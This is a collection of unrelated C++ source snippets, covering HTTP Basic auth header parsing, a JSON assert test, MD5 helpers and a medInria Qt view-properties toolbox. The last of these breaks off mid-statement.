std::string s_prefix = "Basic "; return s_prefix + encoded_auth; } bool parse_basic_auth(const HttpRequest& req, std::string* user, std::string* passwd) { const char k_basic[] = "Basic "; auto& auth = req.header(HttpHeaders::AUTHORIZATION); if (auth.compare(0, sizeof(k_basic) - 1, k_basic, sizeof(k_basic) - 1) != 0) { return false; } std::string encoded_str = auth.substr(sizeof(k_basic) - 1); std::string decoded_auth; if (!base64_decode(encoded_str, &decoded_auth)) { return false; } auto pos = decoded_auth.find(':'); if (pos == std::string::npos) { return false; } user->assign(decoded_auth.c_str(), pos); passwd->assign(decoded_auth.c_str() + pos + 1); return true; } bool parse_basic_auth(const HttpRequest& req, AuthInfo* auth) { std::string full_user; if (!parse_basic_auth(req, &full_user, &auth->passwd)) { return false; } auto pos = full_user.find('@'); if (pos != std::string::npos) { auth->user.assign(full_user.data(), pos); auth->cluster.assign(full_user.data() + pos + 1); } else { auth->user = full_user; } // set user ip if (req.remote_host() != nullptr) { auth->user_ip.assign(req.remote_host()); } else { auth->user_ip.assign(""); } return true; } } elix22/GPlayEngine1000+ #include "JSON_ASSERT.h" #include "../../Source/JSONDebug.h" #if defined JSON_DEBUG #ifndef JSON_STDERROR static json_string last; #ifdef JSON_LIBRARY static void callback(const json_char * p){ last = p; } #else static void callback(const json_string & p){ last = p; } #endif #endif #endif const json_string fail_consta = JSON_TEXT("fail"); //should pass the same pointer all the way through, no copies const json_string null_consta = JSON_TEXT(""); #if defined JSON_DEBUG || defined JSON_SAFE json_error_callback_t origCallbacka = NULL; #endif void testJSONDebug_JSON_ASSERT::setUp(const std::string & methodName){ BaseTest::setUp(methodName); #if defined JSON_DEBUG #ifndef JSON_STDERROR origCallbacka = JSONDebug::register_callback(callback); //check that the callback was called last = null_consta; #endif #endif } void testJSONDebug_JSON_ASSERT::tearDown(void){ BaseTest::tearDown(); #if defined JSON_DEBUG #ifndef JSON_STDERROR JSONDebug::register_callback(origCallbacka); //check that the callback was called #endif #endif } /** * Make sure asserts that pass do not call the callback or run extra code */ void testJSONDebug_JSON_ASSERT::testPass(void){ #if defined JSON_DEBUG #ifndef JSON_STDERROR JSON_ASSERT(1 == 1, fail_consta); assertEquals(last, null_consta); //make sure the callback was not called #endif #endif } /** * Make sure asserts that fail do call the callback and run extra code */ void testJSONDebug_JSON_ASSERT::testFail(void){ #if defined JSON_DEBUG #ifndef JSON_STDERROR JSON_ASSERT(1 == 0, fail_consta); assertEquals(last, fail_consta); //make sure the callback was actually called #endif #endif } libs/fnd/ranges/include/bksge/fnd/ranges/detail/max_diff_type.hpp1-10 /** * @file max_diff_type.hpp * * @brief max_diff_type の定義 * * @author myoukaku */ #ifndef BKSGE_FND_RANGES_DETAIL_MAX_DIFF_TYPE_HPP #define BKSGE_FND_RANGES_DETAIL_MAX_DIFF_TYPE_HPP namespace bksge { namespace ranges { namespace detail { #if __SIZEOF_INT128__ using max_diff_type = __int128; #else using max_diff_type = long long; #endif } // namespace detail } // namespace ranges } // namespace bksge #endif // BKSGE_FND_RANGES_DETAIL_MAX_DIFF_TYPE_HPP vinzenz/fcppt // Copyright 2009 - 2016. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #include #include #include #include std::tm fcppt::time::gmtime( std::time_t const _time ) { return *std::gmtime( &_time ); } /* Copyright (c) 2021, Moscow Center for Diagnostics & Telemedicine All rights reserved. This file is licensed under BSD-3-Clause license. See LICENSE file for details. */ /*! \file \date 2019/09/23 14:20 \author kulberg */ #include "pre.h" #include "md5.h" #include XRAD_BEGIN using namespace md5_core; md5_digest_t md5(const void *bytes, size_t n_bytes) { md5_state_t state; md5_byte_t digest[16]; md5_init(&state); md5_append(&state, (const md5_byte_t *)bytes, int(n_bytes)); md5_finish(&state, digest); md5_digest_t result; for(int i = 0; i < 16; ++i) result[i] = digest[i]; return result; } md5_digest_t md5(const string &s) { return md5(s.data(), s.size()); } md5_digest_t md5(const wstring &s) { auto s8 = convert_to_string8(s); return md5(s8.data(), s8.size()); } string md5_digest_string(const md5_digest_t &digest, bool caps = false) { string result; string format = caps ? "%02X":"%02x"; for(int i = 0; i < 16; ++i) { result += ssprintf(format, digest[i]); } return result; } wstring md5_digest_wstring(const md5_digest_t &digest, bool caps = false) { return convert_to_wstring(md5_digest_string(digest,caps)); } XRAD_END src/medGui/toolboxes/medViewPropertiesToolBox.cpp /*========================================================================= medInria Copyright (c) INRIA 2013. All rights reserved. See LICENSE.txt for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. =========================================================================*/ #include #include #include #include #include #include #include #include #define LAYER_NUMBER_ROLE (Qt::UserRole+1) #define LAYER_IS_MESH_ROLE (Qt::UserRole+2) //Just a normal combobox, but with a link to its associated LutBox. //The selected item in the attribute box determines which Lut is selected //or if a lut can even be selected. class medAttributeBox: public QComboBox { public: medAttributeBox(QWidget* parent,QComboBox* lutBox); medAttributeBox():QComboBox(){} void setLutBox(QComboBox* lutBox); QComboBox* getLutBox()const; protected: QWeakPointer lutBox; }; medAttributeBox::medAttributeBox(QWidget *parent, QComboBox *lutBox): QComboBox(parent) { this->lutBox = lutBox; } void medAttributeBox::setLutBox(QComboBox *lutBox) { this->lutBox = lutBox; } QComboBox* medAttributeBox::getLutBox()const { return lutBox.data(); } class medViewPropertiesToolBoxPrivate { public: QTreeWidget * propertiesTree; QWidget * propertiesView; QWidget * propView; //attribtueList can be filled depending on the data, not static. QList attributeList; static QStringList lutList; static QStringList presetList; static QMap presetToLut; static QStringList renderingList; int currentLayer; QWidget * twoLayersWidget; QSlider * slider; QString thumbnailLocation; QString textLayer0; QString textLayer1; QPushButton * switchLayersButton; medMeshAbstractViewInteractor * meshInteractor; medAbstractView *view; QButtonGroup *mouseGroup; QPushButton *windowingPushButton; QPushButton *zoomingPushButton; QPushButton *slicingPushButton; QPushButton *measuringPushButton; QPushButton *axialButton; QPushButton *coronalButton; QPushButton *sagittalButton; QPushButton *view3DButton; QCheckBox *scalarBarVisibilityCheckBox; QCheckBox *axisVisibilityCheckBox; QCheckBox *rulerVisibilityCheckBox; QCheckBox *annotationsVisibilityCheckBox; QComboBox * view3dModeComboBox; QComboBox * view3dVRModeComboBox; QSlider * view3dLODSlider; QPushButton * croppingPushButton; QCheckBox * view3dDepthPeelingCheckBox; QWidget * view3dToolBoxWidget; QString thumbLocation; QTreeWidgetItem * layerItem; bool isMesh; }; QStringList medViewPropertiesToolBoxPrivate::lutList; QStringList medViewPropertiesToolBoxPrivate::renderingList; QStringList medViewPropertiesToolBoxPrivate::presetList; QMap medViewPropertiesToolBoxPrivate::presetToLut; medViewPropertiesToolBox::medViewPropertiesToolBox(QWidget *parent) : medToolBox(parent), d(new medViewPropertiesToolBoxPrivate) { d->view = 0; d->meshInteractor = 0; d->currentLayer = 0; d->textLayer0 = tr("Switch to layer 0 only"); d->textLayer1 = tr("Switch to layer 1 only"); d->isMesh = false; if (d->lutList.isEmpty()) { d->lutList << "Default" << "Black & White" << "Black & White Inversed" << "Spectrum" << "Hot Metal" << "Hot Green" << "Hot Iron" << "GE" << "Flow" << "Loni" << "Loni 2" << "Asymmetry" << "P-Value" << "Red Black Alpha" << "Green Black Alpha" << "Blue Black Alpha" << "Muscles & Bones" << "Bones" << "Red Vessels" << "Cardiac" << "Gray Rainbow" << "Stern" << "Black Body"; } if (d->presetList.isEmpty()) { d->presetList << "None" << "VR Muscles&Bones" << "Vascular I" << "Vascular II" << "Vascular III" << "Vascular IV" << "Standard" << "Soft" << "Soft on White" << "Soft on Blue" << "Red on White" << "Glossy" ; } // a preset is a predefined choice of three things: LUT, window width and window level // hence when the user selects a preset we also change the LUT if(d->presetToLut.isEmpty()) { d->presetToLut.insert("None", "Black & White"); d->presetToLut.insert("VR Muscles&Bones", "Muscles & Bones"); d->presetToLut.insert("Vascular I", "Stern"); d->presetToLut.insert("Vascular II", "Red Vessels"); d->presetToLut.insert("Vascular III", "Red Vessels"); d->presetToLut.insert("Vascular IV", "Red Vessels"); d->presetToLut.insert("Standard", "Muscles & Bones"); d->presetToLut.insert("Soft", "Bones"); d->presetToLut.insert("Soft on White", "Muscles & Bones"); d->presetToLut.insert("Soft on Blue", "Muscles & Bones"); d->presetToLut.insert("Red on White", "Red Vessels"); d->presetToLut.insert("Glossy", "Bones"); } if (d->renderingList.isEmpty()) { d->renderingList << "wireframe"<<"surface"<<"points"; } d->propertiesTree = new QTreeWidget(this); d->propertiesTree->setFocusPolicy(Qt::NoFocus); d->propertiesTree->setColumnCount(3); d->propertiesTree->setColumnWidth(0,85); d->propertiesTree->setColumnWidth(1,65); d->propertiesTree->setSelectionMode(QAbstractItemView::NoSelection); QStringList headers; headers << tr("Object") << tr("Name") << tr("Value"); d->propertiesTree->setHeaderLabels(headers); d->propertiesTree->setAnimated(true); d->propertiesTree->setAlternatingRowColors(true); d->propertiesTree->setRootIsDecorated(true); d->propertiesTree->setContextMenuPolicy(Qt::CustomContextMenu); this->setTitle(tr("View Properties")); QObject::connect(d->propertiesTree, SIGNAL(itemClicked(QTreeWidgetItem *, int)), this, SLOT(onItemClicked(QTreeWidgetItem *))); QObject::connect(d->propertiesTree, SIGNAL(customContextMenuRequested(QPoint)), this, SLOT(onContextTreeMenu(QPoint))); QObject::connect(d->propertiesTree,SIGNAL(itemExpanded(QTreeWidgetItem*)), this, SLOT(onItemClicked(QTreeWidgetItem *))); d->propertiesView = new QWidget(this); d->windowingPushButton = new QPushButton("", this); d->windowingPushButton->setFocusPolicy(Qt::NoFocus); d->windowingPushButton->setIcon (QIcon (":/icons/wlww.png")); d->windowingPushButton->setCheckable (true); d->windowingPushButton->setMinimumWidth ( 20 ); d->windowingPushButton->setToolTip (tr("Windowing")); d->zoomingPushButton = new QPushButton("", this); d->zoomingPushButton->setFocusPolicy(Qt::NoFocus); d->zoomingPushButton->setIcon (QIcon (":/icons/magnify.png")); d->zoomingPushButton->setCheckable (true); d->zoomingPushButton->setToolTip (tr("Zooming")); d->slicingPushButton = new QPushButton("", this); d->slicingPushButton->setFocusPolicy(Qt::NoFocus); d->slicingPushButton->setIcon (QIcon (":/icons/stack.png")); d->slicingPushButton->setCheckable (true); d->slicingPushButton->setToolTip (tr("Slicing")); d->measuringPushButton = new QPushButton("", this); d->measuringPushButton->setFocusPolicy(Qt::NoFocus); d->measuringPushButton->setIcon (QIcon (":/icons/length.png")); d->measuringPushButton->setCheckable (true); d->measuringPushButton->setToolTip (tr("Measuring")); d->mouseGroup = new QButtonGroup (this); d->mouseGroup->addButton ( d->windowingPushButton ); d->mouseGroup->addButton ( d->zoomingPushButton ); d->mouseGroup->addButton ( d->slicingPushButton ); d->mouseGroup->addButton ( d->measuringPushButton ); d->mouseGroup->setExclusive (true); // Orientation buttons // d->axialButton = new QPushButton(this); d->axialButton->setIcon(QIcon(":/icons/AxialIcon.png")); d->axialButton->setToolTip(tr("Axial view")); d->axialButton->setCheckable(true); d->axialButton->setMinimumHeight(45); d->axialButton->setIconSize(QSize(40,40)); d->coronalButton = new QPushButton(this); d->coronalButton->setIcon(QIcon(":/icons/CoronalIcon.png")); d->coronalButton->setToolTip(tr("Coronal view")); d->coronalButton->setCheckable(true); d->coronalButton->setMinimumHeight(45); d->coronalButton->setIconSize(QSize(40,40)); d->sagittalButton = new QPushButton(this); d->sagittalButton->setIcon(QIcon(":/icons/SagittalIcon.png")); d->sagittalButton->setToolTip(tr("Sagittal view")); d->sagittalButton->setCheckable(true); d->sagittalButton->setMinimumHeight(45); d->sagittalButton->setIconSize(QSize(45,45)); d->view3DButton = new QPushButton(this); d->view3DButton->setIcon(QIcon(":/icons/3DIcon.png")); d->view3DButton->setToolTip(tr("3D view")); d->view3DButton->setCheckable(true); d->view3DButton->setMinimumHeight(45); d->view3DButton->setIconSize(QSize(40,40)); QButtonGroup *orientationButtonGroup = new QButtonGroup(this); orientationButtonGroup->addButton(d->axialButton); orientationButtonGroup->addButton(d->coronalButton); orientationButtonGroup->addButton(d->sagittalButton); orientationButtonGroup->addButton(d->view3DButton); orientationButtonGroup->setExclusive(true); setCurrentInteractionFromSettings(); d->propView = new QWidget(this); QHBoxLayout * propLayout = new QHBoxLayout; d->scalarBarVisibilityCheckBox = new QCheckBox(this); d->scalarBarVisibilityCheckBox->setFocusPolicy(Qt::NoFocus); d->scalarBarVisibilityCheckBox->setToolTip(tr("Show scalar bar")); d->axisVisibilityCheckBox = new QCheckBox(this); d->axisVisibilityCheckBox->setFocusPolicy(Qt::NoFocus); d->axisVisibilityCheckBox->setToolTip(tr("Show axes")); d->rulerVisibilityCheckBox = new QCheckBox(this); d->rulerVisibilityCheckBox->setFocusPolicy(Qt::NoFocus); d->annotationsVisibilityCheckBox = new QCheckBox(this); d->annotationsVisibilityCheckBox->setFocusPolicy(Qt::NoFocus); propLayout->addWidget(d->scalarBarVisibilityCheckBox); propLayout->addWidget(d->annotationsVisibilityCheckBox); d->propView->setLayout(propLayout); propLayout->setAlignment(Qt::AlignJustify); d->scalarBarVisibilityCheckBox->setText(tr("Scalar Bar")); d->axisVisibilityCheckBox->setText(tr("Axes")); d->rulerVisibilityCheckBox->setText(tr("Ruler")); d->rulerVisibilityCheckBox->setToolTip(tr("Show ruler")); d->annotationsVisibilityCheckBox->setText("Annotations"); d->annotationsVisibilityCheckBox->setToolTip(tr("Show annotations")); d->annotationsVisibilityCheckBox->setChecked(true); d->rulerVisibilityCheckBox->setChecked(true); QHBoxLayout *mouseLayout = new QHBoxLayout; mouseLayout->addWidget(d->axisVisibilityCheckBox); mouseLayout->addWidget(d->windowingPushButton); mouseLayout->addWidget(d->slicingPushButton); mouseLayout->addWidget(d->zoomingPushButton); mouseLayout->addWidget(d->measuringPushButton); mouseLayout->addWidget(d->rulerVisibilityCheckBox); QFormLayout * propertiesViewLayout = new QFormLayout(d->propertiesView); propertiesViewLayout->addRow (/*"Type:", */mouseLayout); //propertiesViewLayout->addRow (d->scalarBarVisibilityCheckBox); propertiesViewLayout->setFormAlignment(Qt::AlignHCenter); connect(d->windowingPushButton, SIGNAL(toggled(bool)), this, SLOT(onWindowingChanged(bool))); connect(d->zoomingPushButton, SIGNAL(toggled(bool)), this, SLOT(onZoomingChanged(bool))); connect(d->slicingPushButton, SIGNAL(toggled(bool)), this, SLOT(onSlicingChanged(bool))); connect(d->measuringPushButton, SIGNAL(toggled(bool)), this, SLOT(onMeasuringChanged(bool))); connect(d->axialButton,SIGNAL(toggled(bool)),this,SLOT(onAxialChanged(bool))); connect(d->coronalButton,SIGNAL(toggled(bool)),this,SLOT(onCoronalChanged(bool))); connect(d->sagittalButton,SIGNAL(toggled(bool)),this,SLOT(onSagittalChanged(bool))); connect(d->view3DButton,SIGNAL(toggled(bool)),this,SLOT(onView3DChanged(bool))); QWidget *orientationButtons = new QWidget(this); QHBoxLayout *orientationButtonLayout = new QHBoxLayout; orientationButtonLayout->addWidget(d->axialButton); orientationButtonLayout->addWidget(d->coronalButton); orientationButtonLayout->addWidget(d->sagittalButton); orientationButtonLayout->addWidget(d->view3DButton); orientationButtons->setLayout(orientationButtonLayout); d->view3dModeComboBox = new QComboBox(this); d->view3dModeComboBox->setFocusPolicy(Qt::NoFocus); d->view3dModeComboBox->setToolTip(tr("Choose a 3D mode (e.g. Volume Rendering, Maximum Intensity Projection, MultiPlanar Reconstruction)")); d->view3dModeComboBox->addItem("VR"); d->view3dModeComboBox->addItem("MIP - Maximum"); d->view3dModeComboBox->addItem("MIP - Minimum"); d->view3dModeComboBox->addItem("MPR"); d->view3dModeComboBox->addItem("Off"); d->view3dVRModeComboBox = new QComboBox(this); d->view3dVRModeComboBox->setFocusPolicy(Qt::NoFocus); d->view3dVRModeComboBox->setToolTip(tr("Choose among rendering techniques (e.g. GPU accelerated rendering, Ray Casting)")); d->view3dVRModeComboBox->addItem( "GPU" ); d->view3dVRModeComboBox->addItem( "Ray Cast / Texture" ); d->view3dVRModeComboBox->addItem( "Ray Cast" ); d->view3dVRModeComboBox->addItem( "Texture" ); d->view3dVRModeComboBox->addItem( "Default" ); d->view3dLODSlider = new QSlider (Qt::Horizontal, this); d->view3dLODSlider->setFocusPolicy(Qt::NoFocus); d->view3dLODSlider->setRange (0, 100); d->view3dLODSlider->setValue (100); d->view3dLODSlider->setTracking( false ); d->croppingPushButton = new QPushButton ("", this); d->croppingPushButton->setFocusPolicy(Qt::NoFocus); d->croppingPushButton->setIcon (QIcon (":/icons/cropping.png")); d->croppingPushButton->setCheckable (true); d->croppingPushButton->setMinimumWidth ( 20 ); d->croppingPushButton->setToolTip(tr("Crop volume tool")); d->view3dDepthPeelingCheckBox = new QCheckBox ("", this); d->view3dDepthPeelingCheckBox->setFocusPolicy(Qt::NoFocus); d->view3dDepthPeelingCheckBox->setToolTip(tr("Activate depth-peeling to have a proper opacity rendering")); connect(d->view3dModeComboBox, SIGNAL(currentIndexChanged(QString)), this, SLOT(onModeChanged(QString))); connect(d->view3dVRModeComboBox, SIGNAL(currentIndexChanged(QString)), this, SLOT(onVRModeChanged(QString))); connect(d->view3dLODSlider, SIGNAL(valueChanged(int)), this, SLOT(onLodChanged(int))); connect(d->croppingPushButton, SIGNAL(toggled(bool)), this, SLOT(onCroppingChanged(bool))); connect(d->view3dDepthPeelingCheckBox, SIGNAL(toggled(bool)), this, SLOT(onDepthPeelingChanged(bool))); d->view3dToolBoxWidget = new QWidget(this); QFormLayout *view3dToolBoxWidgetLayout = new QFormLayout(d->view3dToolBoxWidget); view3dToolBoxWidgetLayout->addRow(tr("3D Mode"), d->view3dModeComboBox); view3dToolBoxWidgetLayout->addRow(tr("Renderer:"), d->view3dVRModeComboBox); view3dToolBoxWidgetLayout->addRow(tr("LOD:"), d->view3dLODSlider); view3dToolBoxWidgetLayout->addRow(tr("Cropping:"), d->croppingPushButton); view3dToolBoxWidgetLayout->addRow(tr("Depth Peeling:"), d->view3dDepthPeelingCheckBox); view3dToolBoxWidgetLayout->setFormAlignment(Qt::AlignHCenter); //add 2 layers opacity slider and switcher. d->twoLayersWidget = new QWidget(this); QGridLayout * twoLayersLayout = new QGridLayout(d->twoLayersWidget); //d->twoLayersWidget->setLayout(twoLayersLayout); d->slider = new QSlider(Qt::Horizontal,this); d->slider->setFocusPolicy(Qt::NoFocus); d->slider->setRange(0,100); d->slider->setValue(50); QObject::connect(d->slider, SIGNAL(valueChanged(int)), this, SLOT(on2LayersOpacitySliderSet(int))); twoLayersLayout->addWidget(new QLabel(tr("Layers' opacity:"),this), 0,0,1,3,Qt::AlignLeft); twoLayersLayout->addWidget(new QLabel(tr("Layer 0"),this),1,0,1,1); twoLayersLayout->addWidget(d->slider,1,1,1,1); twoLayersLayout->addWidget(new QLabel(tr("Layer 1"),this),1,2,1,1); d->switchLayersButton = new QPushButton(d->textLayer0,this); twoLayersLayout->addWidget(d->switchLayersButton,2,0,1,3); QObject::connect(d->switchLayersButton,SIGNAL(clicked()), this,SLOT(onSwitchLayersButtonClicked())); connect(d->scalarBarVisibilityCheckBox, SIGNAL(toggled(bool)), this, SLOT(onScalarBarVisibilityChanged(bool))); connect(d->axisVisibilityCheckBox, SIGNAL(toggled(bool)), this, SLOT(onAxisVisibilityChanged(bool))); connect(d->rulerVisibilityCheckBox, SIGNAL(toggled(bool)), this, SLOT(onRulerVisibilityChanged(bool))); connect(d->annotationsVisibilityCheckBox, SIGNAL(toggled(bool)), this, SLOT(onAnnotationsVisibilityChanged(bool))); this->hide(); this->addWidget(orientationButtons); this->addWidget(d->propertiesView); this->addWidget(d->view3dToolBoxWidget); d->view3dToolBoxWidget->hide(); this->addWidget(d->propertiesTree); this->addWidget(d->twoLayersWidget); d->twoLayersWidget->hide(); this->addWidget(d->propView); } medViewPropertiesToolBox::~medViewPropertiesToolBox(void) { delete d; d = NULL; } void medViewPropertiesToolBox::update(dtkAbstractView *view) { medToolBox::update(view); if(!view) { clear(); return; } medAbstractView * medView = dynamic_cast (view); if ( !medView ) return; if ((d->view) && (d->view != medView) ) { d->view->disconnect(this,0); clear(); } d->view = medView; d->propertiesTree->clear(); double layer1Opacity = 0.5; //retrieve layer1 opacity, if possible if(d->view->layerCount() == 2) layer1Opacity = d->view->opacity(1) / (d->view->opacity(0) + d->view->opacity(1)); //decide whether to show the 2 layers slider raiseSlider(d->view->layerCount() == 2, layer1Opacity); if ( ! d->meshInteractor ) d->meshInteractor = dynamic_cast(d->view->interactor ("v3dViewMeshInteractor")); //Loop all layers and create a layer icon on the toolbox with respect to the fact that it is a mesh or an image for (int i = 0, meshNumber = 0, imageNumber = 0; i < d->view->layerCount() + d->view->meshLayerCount(); i++) { if(d->view->dataInList(i) && d->view->dataInList(i)->identifier().contains("vtkDataMesh")) { this->constructMeshLayer(d->view->dataInList(i), meshNumber); meshNumber++; } else //if (d->view->dataInList(i)) { this->constructImageLayer(d->view->dataInList(i), imageNumber); imageNumber++; } } // select the current layer if (d->propertiesTree->topLevelItem(d->currentLayer)) d->propertiesTree->topLevelItem(d->currentLayer)->setExpanded(true); QObject::connect(d->view, SIGNAL(dataAdded(dtkAbstractData*, int)), this, SLOT(onDataAdded(dtkAbstractData*, int)), Qt::UniqueConnection); // QObject::connect(d->view, SIGNAL(closing()), this, SLOT(onViewClosed()), Qt::UniqueConnection); QObject::connect(d->view, SIGNAL(TwoDTriggered(dtkAbstractView*)), this, SLOT(on2DTriggered(dtkAbstractView*)), Qt::UniqueConnection); QObject::connect(d->view, SIGNAL(ThreeDTriggered(dtkAbstractView*)), this, SLOT(on3DTriggered(dtkAbstractView*)), Qt::UniqueConnection); this->on2DTriggered(d->view); this->on3DTriggered(d->view); d->view3dModeComboBox->blockSignals(true); d->view3dModeComboBox->setCurrentIndex(d->view3dModeComboBox->findText(view->property("3DMode"))); d->view3dModeComboBox->blockSignals(false); //set a few view pool wide properties in the view. // qDebug()<<"update some view properties"; onScalarBarVisibilityChanged(d->scalarBarVisibilityCheckBox->isChecked()); onAnnotationsVisibilityChanged(d->annotationsVisibilityCheckBox->isChecked()); onAxisVisibilityChanged(d->axisVisibilityCheckBox->isChecked()); onRulerVisibilityChanged(d->rulerVisibilityCheckBox->isChecked()); onZoomingChanged(d->zoomingPushButton->isChecked()); onSlicingChanged(d->slicingPushButton->isChecked()); onMeasuringChanged(d->measuringPushButton->isChecked()); onWindowingChanged(d->windowingPushButton->isChecked()); if (d->view->property("Orientation") == "Axial") d->axialButton->setChecked(true); else if (d->view->property("Orientation") == "Coronal") d->coronalButton->setChecked(true); else if (d->view->property("Orientation") == "Sagittal") d->sagittalButton->setChecked(true); else d->view3DButton->setChecked(true); } void medViewPropertiesToolBox::constructImageLayer(dtkAbstractData* data, int imageLayer) { if(!data) return; QString layerItemString = QString::number(imageLayer); d->thumbLocation = ":icons/layer.png"; //Check the layer does not already exists, in which case we remove it. foreach (QTreeWidgetItem* item, d->propertiesTree->findItems(layerItemString, Qt::MatchExactly | Qt::MatchWrap,0)) { // qDebug() << "Found item" << item->text(0); int index = d->propertiesTree->indexOfTopLevelItem(item); d->propertiesTree->takeTopLevelItem(index); } if (data) ///put thumbnail { if (medMetaDataKeys::SeriesThumbnail.is_set_in(data)) { d->thumbLocation = medMetaDataKeys::SeriesThumbnail.getFirstValue(data,":icons/layer.png"); } } d->layerItem = new QTreeWidgetItem(d->propertiesTree->invisibleRootItem(), QTreeWidgetItem::UserType+1); d->layerItem->setText(0, QString::number(imageLayer)); d->layerItem->setIcon(0,QIcon(d->thumbLocation)); if (data != NULL && medMetaDataKeys::SeriesDescription.is_set_in(data)) { d->layerItem->setToolTip(0,data->metaDataValues(medMetaDataKeys::PatientName.key())[0] + "\n" + data->metaDataValues(medMetaDataKeys::StudyDescription.key())[0] + "\n" + data->metaDataValues(medMetaDataKeys::SeriesDescription.key())[0]); } d->layerItem->setData(0, LAYER_NUMBER_ROLE, imageLayer); d->layerItem->setData(0, LAYER_IS_MESH_ROLE, false); QTreeWidgetItem * visibleItem = new QTreeWidgetItem(d->layerItem, QTreeWidgetItem::UserType+2); visibleItem->setText(1, tr("Visible")); //No need to parent this widget, setItemWidget takes ownership of the widget QCheckBox * visibleBox = new QCheckBox(); visibleBox->setChecked(d->view->visibility(imageLayer)); d->propertiesTree->setItemWidget(visibleItem, 2, visibleBox); QTreeWidgetItem * opacityItem = new QTreeWidgetItem(d->layerItem, QTreeWidgetItem::UserType+2); opacityItem->setText(1, tr("Opacity")); //No need to parent this widget, setItemWidget takes ownership of the widget QSlider * opacityBox = new QSlider(Qt::Horizontal); opacityBox->setRange(0,100); opacityBox->setValue(d->view->opacity(imageLayer) * 100); d->propertiesTree->setItemWidget(opacityItem, 2, opacityBox); QTreeWidgetItem * lutItem = new QTreeWidgetItem(d->layerItem, QTreeWidgetItem::UserType+2); lutItem->setText(1, tr("LUT")); //No need to parent this widget, setItemWidget takes ownership of the widget QComboBox * lutBox = new QComboBox(); lutBox->setFocusPolicy(Qt::NoFocus); foreach (QString lut,d->lutList) { lutBox->addItem(lut); } d->propertiesTree->setItemWidget(lutItem, 2, lutBox); lutBox->setCurrentIndex(lutBox->findText(d->view->getLUT(imageLayer))); QTreeWidgetItem * presetItem = new QTreeWidgetItem(d->layerItem, QTreeWidgetItem::UserType+2); presetItem->setText(1, tr("Preset")); QComboBox * presetBox = new QComboBox(); presetBox->setFocusPolicy(Qt::NoFocus); foreach(QString preset,d->presetList) { presetBox->addItem(preset); } d->propertiesTree->setItemWidget(presetItem, 2, presetBox); presetBox->blockSignals(true); presetBox->setCurrentIndex(presetBox->findText(d->view->getPreset(imageLayer))); presetBox->blockSignals(false); QObject::connect(visibleBox, SIGNAL(stateChanged(int)), this, SLOT(onVisibilitySet(int))); QObject::connect(opacityBox, SIGNAL(valueChanged(int)), this, SLOT(onOpacitySliderSet(int))); QObject::connect(lutBox, SIGNAL(currentIndexChanged(int)), this, SLOT(onLUTChanged(int))); QObject::connect(presetBox, SIGNAL(currentIndexChanged(int)), this, SLOT(onPresetChanged(int))); //d->propertiesTree->collapseAll(); } void medViewPropertiesToolBox::constructMeshLayer(dtkAbstractData* data, int meshLayer) { if(!data) return; // QString layerItemString; // if(d->view->layerCount() > 1 || d->view->meshLayerCount() > 0 ) // if(data) QString layerItemString = "Mesh " + QString::number(meshLayer); //Check the layer does not already exists, in which case we remove it. foreach (QTreeWidgetItem* item, d->propertiesTree->findItems(layerItemString, Qt::MatchExactly | Qt::MatchWrap,0)) { // qDebug() << "Found item" << item->text(0); int index = d->propertiesTree->indexOfTopLevelItem(item); d->propertiesTree->takeTopLevelItem(index); } d->thumbLocation = ":icons/layer.png"; if (data) { if (medMetaDataKeys::SeriesThumbnail.is_set_in(data)) d->thumbLocation = medMetaDataKeys::SeriesThumbnail.getFirstValue(data,":icons/layer.png"); } d->layerItem = new QTreeWidgetItem(d->propertiesTree->invisibleRootItem(), QTreeWidgetItem::UserType+1); d->layerItem->setText(0, layerItemString); d->layerItem->setIcon(0,QIcon(d->thumbLocation)); if (medMetaDataKeys::SeriesDescription.is_set_in(data)) { d->layerItem->setToolTip(0,medMetaDataKeys::PatientName.getFirstValue(data) + "\n" + medMetaDataKeys::StudyDescription.getFirstValue(data) + "\n" + medMetaDataKeys::SeriesDescription.getFirstValue(data)); } d->layerItem->setData(0, LAYER_NUMBER_ROLE, meshLayer); d->layerItem->setData(0, LAYER_IS_MESH_ROLE, true); QTreeWidgetItem * meshVisibleItem = new QTreeWidgetItem(d->layerItem, QTreeWidgetItem::UserType+2); meshVisibleItem->setText(1, tr("Visible")); QCheckBox * meshVisibleBox = new QCheckBox(); meshVisibleBox->setChecked(d->meshInteractor->visibility(meshLayer)); d->propertiesTree->setItemWidget(meshVisibleItem, 2, meshVisibleBox); QTreeWidgetItem * opacityItem = new QTreeWidgetItem(d->layerItem, QTreeWidgetItem::UserType+2); opacityItem->setText(1, tr("Opacity")); QSlider * opacityBox = new QSlider(Qt::Horizontal); opacityBox->setRange(0,100); opacityBox->setValue(d->meshInteractor->opacity(meshLayer) * 100); d->propertiesTree->setItemWidget(opacityItem, 2, opacityBox); //create the lutBox before the attrBox, //we want to enable it only if the right attribute is selected QComboBox * lutBox = new QComboBox(); //disabled by default lutBox->setEnabled(false); lutBox->setFocusPolicy(Qt::NoFocus); lutBox->addItems(d->meshInteractor->getAllLUTs()); lutBox->setCurrentIndex(0); QTreeWidgetItem * attrMap = new QTreeWidgetItem(d->layerItem, QTreeWidgetItem::UserType+2); attrMap->setText(1, tr("Attributes")); medAttributeBox * attrBox = new medAttributeBox(NULL,lutBox); attrBox->setFocusPolicy(Qt::NoFocus); d->attributeList.append(QStringList()); d->attributeList[meshLayer] = QStringList("Solid"); // Flo - Ugly, but currently, it's never emptied so we need to reset it d->attributeList[meshLayer] << d->meshInteractor->getAllAttributes(meshLayer); attrBox->addItems(d->attributeList[meshLayer]); d->propertiesTree->setItemWidget(attrMap, 2, attrBox); //BEN: Too complex need to rewrite all this!!!! attrBox->setCurrentIndex(0); QTreeWidgetItem * lutItem = new QTreeWidgetItem(d->layerItem, QTreeWidgetItem::UserType+2); lutItem->setText(1, tr("LUT")); d->propertiesTree->setItemWidget(lutItem, 2, lutBox); QTreeWidgetItem * edgeVisibleItem = new QTreeWidgetItem(d->layerItem, QTreeWidgetItem::UserType+2); edgeVisibleItem->setText(1, tr("Edge Visible")); QCheckBox * edgeVisibleBox = new QCheckBox(); edgeVisibleBox->setChecked(d->meshInteractor->edgeVisibility(meshLayer)); d->propertiesTree->setItemWidget(edgeVisibleItem, 2, edgeVisibleBox); QTreeWidgetItem * coloringItem = new QTreeWidgetItem(d->layerItem, QTreeWidgetItem::UserType+2); coloringItem->setText(1, tr("Color")); QComboBox *colorComboBox = 